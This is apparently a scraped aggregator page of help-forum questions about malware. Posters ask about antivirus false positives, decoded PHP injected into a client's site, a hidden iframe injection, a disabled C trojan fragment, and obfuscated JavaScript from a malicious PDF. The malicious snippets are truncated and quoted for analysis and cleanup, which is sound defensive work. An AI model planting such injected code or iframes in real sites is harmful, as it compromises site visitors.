malware

Py2Exe detected as virus. Alternatives?

孤街醉人 提交于 2019-12-11 01:11:09
问题 So, I created a python program. Converted to exe using Py2Exe, and tried with PyInstaller and cx_freeze as well. All these trigger the program to be detected as virus by avast, avg, and others on virustotal and on my local machine. I tried changing to a Hello World script to see if the problem is there but the results are exactly the same. My question is, what is triggering this detection? The way in which the .exe is created? If so, are there any other alternatives to Py2exe, Pyinstaller, cx

What is this malware code accomplishing?

时光怂恿深爱的人放手 提交于 2019-12-10 02:43:39
问题 I found this code injected in a number of PHP files on a client's site. Of course the original had been obfuscated and encoded. I've managed to decode it and format it to the current form. My question is: What exactly is it accomplishing and does the code suggest how it was injected and therefore shedding light on how to prevent this in future? <?php if(!function_exists('check_wp_head_load')){ function check_wp_head_load(){ if(!function_exists('cc')){ function cc($ll_0){ $ll_1 = "Mozilla/4.0

iFrame Injection Attack Followed us to New Server

懵懂的女人 提交于 2019-12-09 06:56:38
问题 A few months ago, a hidden iFrame started showing up on every page on every site on our dedicated server. When we took the sites down for maintenance with a 503, the iFrame was still there on the down for maintenance page. Eventually, the host blocked the source of the iFrame, but we never found the backdoor. The injected iFrame looked something like this, but wrapped in a style tag to obfuscate and with various URLs: iframe src="http://heusnsy.nl/32283947.html.. We moved our smaller sites to

AppCertDlls: Process creation slowdown on Win32 caused by virus

三世轮回 提交于 2019-12-08 07:29:20
I've been enjoying a hefty process creation penalty on my Windows XP Home SP3 for about two months. The problem is most manifest and annoying with tasks that do create lots of processes, such as shell scripts (incidentally, bash scripts on Cygwin), Makefiles, or unpacking an IzPack package such as the SpringSource Tool Suite installer (lots of separate unpack200.exe JAR extractor processes). I'm sure it's process creation from observing bash script diagnostic output, or watching processes appear in task manager. There is no noticeable delay once a process is up and running. I've reported that

AppCertDlls: Process creation slowdown on Win32 caused by virus

杀马特。学长 韩版系。学妹 提交于 2019-12-08 03:41:47
问题 I've been enjoying a hefty process creation penalty on my Windows XP Home SP3 for about two months. The problem is most manifest and annoying with tasks that do create lots of processes, such as shell scripts (incidentally, bash scripts on Cygwin), Makefiles, or unpacking an IzPack package such as the SpringSource Tool Suite installer (lots of separate unpack200.exe JAR extractor processes). I'm sure it's process creation from observing bash script diagnostic output, or watching processes

what does this attempted trojan horse code do?

拜拜、爱过 提交于 2019-12-06 16:18:09
问题 It looks like this just sends a ping, but whats the point of that when you can just use ping? /* WARNING: this is someone's attempt at writing a malware trojan. Do not compile and *definitely* don't install. I added an exit as the first line to avoid mishaps - msw */ int main (int argc, char *argv[]) { exit(1); unsigned int pid = 0; char buffer[2]; char *args[] = { "/bin/ping", "-c", "5", NULL, NULL }; if (argc != 2) return 0; args[3] = strdup(argv[1]); for (;;) { gets(buffer); /* FTW */ if

how to make a MD5 batch virus scanner? [closed]

拥有回忆 提交于 2019-12-06 09:57:40
问题 Closed . This question needs to be more focused. It is not currently accepting answers. Want to improve this question? Update the question so it focuses on one problem only by editing this post. Closed 3 years ago . So I have done my research on md5 and found this which PieSub quoted MD5 generation code; @echo off for /r %%f in (*) do md5.exe %%f >> output.txt which when I try to generate md5 code for the files in a certain directory this batch (md5.bat) was placed in the result looks like

Malicious text appears in all pages and posts. How do I get rid of it?

a 夏天 提交于 2019-12-05 20:02:36
Yesterday I had installed several outdated plugins (my bad) in order to make my buddypress registration page display “the terms and conditions” checkbox and since then all the pages and posts started displaying some unwanted text at the start and bottom. I have removed all those plugins but still I’m getting the message. I tried several malware scanners like wordfence, sucuri, etc but everything says my website is clean. I'm out of options now. Please help me get rid of it from my site. At the page start this code appears: <div style="position:absolute;top:0;left:-9999px;">Want create site?

what does this attempted trojan horse code do?

半城伤御伤魂 提交于 2019-12-04 22:04:30
It looks like this just sends a ping, but whats the point of that when you can just use ping? /* WARNING: this is someone's attempt at writing a malware trojan. Do not compile and *definitely* don't install. I added an exit as the first line to avoid mishaps - msw */ int main (int argc, char *argv[]) { exit(1); unsigned int pid = 0; char buffer[2]; char *args[] = { "/bin/ping", "-c", "5", NULL, NULL }; if (argc != 2) return 0; args[3] = strdup(argv[1]); for (;;) { gets(buffer); /* FTW */ if (buffer[0] == 0x6e) break; switch (pid = fork()) { case -1: printf("Error Forking\n"); exit(255); case 0

Extract JavaScript from malicious PDF

笑着哭i 提交于 2019-12-04 09:41:26
问题 I have a PDF file that I know for a fact contains a JavaScript script file that does something malicious, not really sure what at this point. I have successfully uncompressed the PDF file and gotten the plaintext JavaScript source code, but it the code itself if kind of hidden in this syntax I haven't seen before. Code example: This is what the majority of the code looks like var bDWXfJFLrOqFuydrq = unescape; var QgFjJUluesCrSffrcwUwOMzImQinvbkaPVQwgCqYCEGYGkaGqery = bDWXfJFLrOqFuydrq( '